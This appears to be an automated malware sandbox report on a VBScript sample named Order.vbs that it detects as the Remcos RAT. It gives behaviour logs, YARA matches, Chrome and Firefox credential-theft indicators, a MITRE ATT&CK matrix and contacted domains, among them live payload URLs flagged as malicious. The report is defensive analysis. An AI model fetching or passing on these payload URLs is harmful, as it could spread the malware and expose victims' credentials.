Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00413BCC GetLocalTime,

8_2_00413BCC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00413CEA CreateThread,GetComputerNameExW,GetUserNameW,

8_2_00413CEA

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

8_2_00407EC0

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		8_2_00407FDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \key3.db		8_2_00407FDE

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-MBKA6A

Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: cmd.exe

8_2_00403B0B

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	3 Obfuscated Files or Information	2 Credentials In Files	1 Account Discovery	Remote Desktop Protocol	3 Clipboard Data	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Windows Service	1 Windows Service	1 Software Packing	Security Account Manager	1 System Service Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 Command and Scripting Interpreter	Login Hook	212 Process Injection	1 DLL Side-Loading	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 Service Execution	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	44 System Information Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	2 PowerShell	RC Scripts	RC Scripts	41 Virtualization/Sandbox Evasion	Cached Domain Credentials	41 Security Software Discovery	VNC	GUI Input Capture	13 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Order.vbs	13%	ReversingLabs

Source	Detection	Scanner	Label
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV21C:	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
http://go.micros	0%	URL Reputation	safe
http://geoplugin.net/json.gp	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod1C:	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	52.217.161.161	true	true	unknown
bitbucket.org	185.166.143.48	true	true	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
raw.githubusercontent.com	185.199.108.133	true	true	unknown
geoplugin.net	178.237.33.50	true	false	unknown
ax-0001.ax-msedge.net	150.171.28.10	true	false	unknown
bbuseruploads.s3.amazonaws.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	false	URL Reputation: safe	unknown
https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417	true		unknown
https://raw.githubusercontent.com/IJEUWAESIKA/skyapb/refs/heads/main/kgpmmrd.txt	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000006.00000002.2379283237.000001F504260000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F505256000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F50527C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gp(cZ	RegAsm.exe, 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bbuseruploads.s3.amazonaws.com	powershell.exe, 00000006.00000002.2379283237.000001F5003FB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000006.00000002.2379283237.000001F504260000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000006.00000002.2379283237.000001F5055F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F5045C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F505933000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://web-security-reports.services.atlassian.com/csp-report/bb-website	powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 00000006.00000002.2379283237.000001F505256000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2379283237.000001F50527C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000C.00000003.2433659954.0000011BAF600000.00000004.00000800.00020000.00000000.sdmp, edb.log.12.dr	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 0000000C.00000002.3508659507.0000011BAF400000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6	powershell.exe, 00000003.00000002.2679834341.0000028186F29000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gp6	RegAsm.exe, 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://go.micros	powershell.exe, 00000006.00000002.2379283237.000001F505933000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dz8aopenkvv6s.cloudfront.net	powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.2379283237.000001F500222000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://geoplugin.net/json.gpSystem32	RegAsm.exe, 00000008.00000002.3509300667.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.12.dr	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com	powershell.exe, 00000006.00000002.2379283237.000001F504026000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://geoplugin.net/json.gp/C	RegAsm.exe, 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000006.00000002.2379283237.000001F504260000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.cookielaw.org/	powershell.exe, 00000006.00000002.2379283237.000001F5003F7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
